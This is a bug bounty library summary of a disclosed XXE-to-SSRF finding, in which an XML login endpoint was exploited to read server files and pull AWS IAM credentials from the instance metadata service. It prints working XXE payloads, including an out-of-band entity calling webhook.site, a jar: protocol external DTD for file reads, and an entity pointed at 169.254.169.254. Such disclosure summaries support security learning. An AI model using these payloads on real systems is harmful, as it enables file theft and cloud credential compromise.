# XXE To AWS Metadata Disclosure

XXE in an XML login endpoint enabled file read via jar: protocol and SSRF to AWS metadata, leaking IAM credentials and root keys.

- Payout: $2,000
- Severity: critical
- Program: -
- Credited: Al-Madjus
- Disclosed: 2021-02-04
- Write-up quality: 7/10
- Original: http://almadj.us/infosec/xxe-to-aws-metadata-disclosure/
- Library page: https://bugbountylibrary.com/r/blog%3Aalmadj-us-infosec-xxe-to-aws-metadata-disclosure
- Tags: domain:web impact:data-leak impact:internal-access kind:bounty platform:blog sev:critical tech:aws technique:chained technique:oob-exfil vuln:info-disclosure vuln:ssrf vuln:xxe

**Target:** XML login endpoint on obscure subdomain path
**Root cause:** XML parser accepted external DTDs in the password field, allowing entity-based file read and SSRF to internal metadata endpoints.
**Steps:**
1. Discover hidden login path via GitHub repo containing test credentials and XML login payload
2. Authenticate with test creds to obtain upload token
3. Inject `<!DOCTYPE passwd [<!ENTITY xxe SYSTEM "http://webhook.site/foo">]>` in password field, confirm OOB hit
4. Host external DTD `<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;` to read /etc/passwd inline
5. Use `file:///` entity to list directories
6. Point entity at `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate role, then fetch credentials
**How found:** Blank subdomain with `//foo` revealed verbose error page and XSS; GitHub repo leaked test credentials and hidden login path; XML POST body prompted XXE testing; jar: protocol trick from BlackHat paper bypassed special-character exfil limits.
**Exploitation:** Authenticated to hidden XML login endpoint, used external DTD with jar: protocol to read arbitrary files inline, then pivoted entity to AWS IMDSv1 endpoint to retrieve IAM role name and credentials, ultimately yielding AWS root keys.
**Escalation:** Chained LFI to SSRF against 169.254.169.254 metadata service, escalating from file read to full AWS account compromise.
**Insight:** When OOB XXE exfil fails on special characters, try the Java `jar:` protocol to render file contents inline in the response; then pivot the same entity to 169.254.169.254 IMDS to convert LFI into cloud credential theft.